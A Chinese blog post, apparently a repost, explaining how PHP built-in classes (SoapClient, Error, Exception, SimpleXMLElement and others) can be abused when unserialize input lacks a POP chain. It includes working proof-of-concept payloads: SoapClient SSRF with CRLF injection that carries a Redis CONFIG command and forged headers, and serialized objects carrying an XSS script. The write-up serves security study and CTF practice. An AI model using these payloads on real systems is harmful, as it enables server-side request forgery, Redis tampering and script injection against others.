• 反序列化之PHP原生类的利用


    正文

    文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?
    N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。

    基础知识

    首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。

    当对象被创建的时候调用:__construct
    当对象被销毁的时候调用:__destruct
    当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
    序列化对象之前就调用此方法(其返回需要是一个数组):__sleep
    反序列化恢复对象之前就调用此方法:__wakeup
    当调用对象中不存在的方法会自动调用此方法:__call

    看一下当前php本身内置类有:

     <?php
    $classes = get_declared_classes();
    foreach ($classes as $class) {
        $methods = get_class_methods($class);
        foreach ($methods as $method) {
            if (in_array($method, array(
                '__destruct',
                '__toString',
                '__wakeup',
                '__call',
                '__callStatic',
                '__get',
                '__set',
                '__isset',
                '__unset',
                '__invoke',
                '__set_state'
            ))) {
                print $class . '::' . $method . "
    ";
            }
        }
    } 

    当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候。

    当然这也和PHP版本也有一些关系,寻找的几个类中,发现在php5.3以前都是没有如此的限制。

    __call

    SoapClient

    这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。

    SSRF

    <?php
    $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->a();

    但是它仅限于http/https协议,用处不是很大。

    但是这里http头部还存在crlf漏洞,可以再去drops回顾一下如何通过http来hack redis,Trying to hack Redis via HTTP requests

    <?php
    $poc = "CONFIG SET dir /root/";
    $target = "http://example.com:5555/";
    $b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));
    $aaa = serialize($b);
    $aaa = str_replace('^^',"
    
    ",$aaa); 
    echo urlencode($aaa);
    
    //Test
    $c = unserialize($aaa);
    $c->notexists();

    对于如何发送POST的数据包,这里面还有一个坑,就是content-type的设置,当是可以看到上面的数据包,user_agent的头部是在content-type的下面,所以我们可以通过SoapClient来设置user_agent,再使用crlf将content-type给往下挤。

    来自wupco师傅的poc:

    <?php
    $target = "http://example.com:5555/";
    $post_string = 'data=abc';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
    );
    $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
    $aaa = serialize($b);
    $aaa = str_replace('^^',"
    
    ",$aaa);
    echo urlencode($aaa);

    __toString

    Error

    适用于php7版本

    XSS

    开启报错的情况下:

    <?php
    $a = new Error("<script>alert(1)</script>");
    $b = serialize($a);
    echo urlencode($b);
    
    //Test
    $t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
    $c = unserialize($t);
    echo $c;

    Exception

    适用于php5、7版本

    XSS

    开启报错的情况下:

    <?php
    $a = new Exception("<script>alert(1)</script>");
    $b = serialize($a);
    echo urlencode($b);
    
    //Test
    $c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
    echo unserialize($c);

    实例化任意类

    可调用任意类的时候找__construct的时候一些可用的类:
    案例:pornhub某漏洞

    可获取目录
    DirectoryIterator

    XXE
    SimpleXMLElement

    创建空白文件
    SQLite3

    know it then do it
    分类: 代码审计

    转载自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
  • 相关阅读:
    206. 反转链表
    JAVA 排序总结
    Codeforces Round #674 (Div. 3)
    【BM模板】
    【 lca 】最近公共祖先
    【 欧拉函数 】GCD
    【 裴蜀定理 】Border
    【调和级数 && 欧拉常数】 Harmonic Number
    【Lucas定理】组合数取模算法
    【 最短路 && 思维 】Escape Plan
  • 原文地址:https://www.cnblogs.com/ashe666/p/11088109.html
Copyright © 2020-2023  润新知